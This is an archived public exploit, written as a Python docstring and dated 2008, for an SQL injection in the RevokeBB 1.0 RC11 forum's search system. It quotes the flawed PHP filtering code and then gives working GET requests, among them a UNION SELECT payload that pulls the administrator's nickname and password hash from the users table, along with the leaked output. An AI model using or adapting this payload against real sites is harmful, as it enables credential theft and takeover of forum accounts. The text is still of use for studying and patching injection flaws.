#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a public Exploit #
#=================================================================================================#
# RevokeBB 1.0 RC11 #
# Sql Injection Vulnerability #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# # Vendor: sourceforge.net/projects/revokebb/ #
# # Author: The:Paradox #
# Nothing! # Severity: Critical #
# # #
# # Proud To Be Italian. #
# # #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# RevokeBB presents a critical vulnerability in the "Search System". Let's see sources: #
#=================================================================================================#
[./inc/acts/search.module.php]
85. $search_string = $this->var_filtrer->String('search');
141. $search->fast_thread_search($search_string, $start, 15);
[./inc/class_search.php]
83. function fast_thread_search($string, $start, $stop)
84. {
85. if($start > '0')
86. $str = ($start - 1)*$stop;
87. else
88. $str = 0;
89.
90. //$string = $this->prepare_sstring($string);
91.
92.
93. $query = $this->db->execQuery($this->prepare_query('revokebb_posts.text', $string, 0, array($str, $stop) ));
#=================================================================================================#
# Ok, we have a sql query with $search_string. Seems it has been cleaned by var_filtrer(), #
# but don't trust function names =D. Let's have a look? #
#=================================================================================================#
[./inc/class_var_filtrer]
41. function var_filtrer()
42. {
43. //$this->add($var);
44.
45. }
#=================================================================================================#
# What? An empty function??? This function does really nothing :D ... But that's not all. #
# Let's see String() function. #
#=================================================================================================#
[./inc/class_var_filtrer]
74. function String($name, $let_html=1)
75. {
76. if(!isset($this->variable[$name]))
77. return '';
78.
79. $this->variable[$name]=stripslashes(trim($this->variable[$name]));
80.
81. if($let_html!=1)
82. $this->variable[$name]=strip_tags($this->variable[$name]);
83.
84. /*$this->variable[$name]=htmlspecialchars($this->variable[$name], ENT_QUOTES);*/
85.
86. $this->variable[$name]=htmlentities($this->variable[$name]);
87.
88. $this->variable[$name] = preg_replace("/\\\(?!&#|\?#)/", "\", $this->variable[$name]);
89.
90. return trim($this->variable[$name]);
91. }
#=================================================================================================#
# See, $name is stripslashed :D That's all, Sql injection vulnerability Magic Quotes Indipendent. #
# Let's have a try. #
#=================================================================================================#
GET http://localhost/RevokeBB/?search=%25%27pwnz00red
Fatal error: database::query() Could not execute: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use
near 'pwnz00red%' GROUP BY revokebb_threads.thread_id LIMIT 0,15' at line 7
GET http://localhost/RevokeBB/?search=|The:Paradox|%25%27/**/union/**/select/**/1,2,3,4,5,6,concat(user_nick,0x3a,user_password),8,9,10,11,12,13,14,15,16,17,18/**/from/**/revokebb_users/**/where/**/user_id=1/*
Title Author Replies Visits Last post
2 root:42f3f2bd1a74120fb585a894aa13b31a 10 13 01-01-1970 00:00:09
4
#=================================================================================================#
# Use these informations at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
"""
# milw0rm.com [2008-05-27]
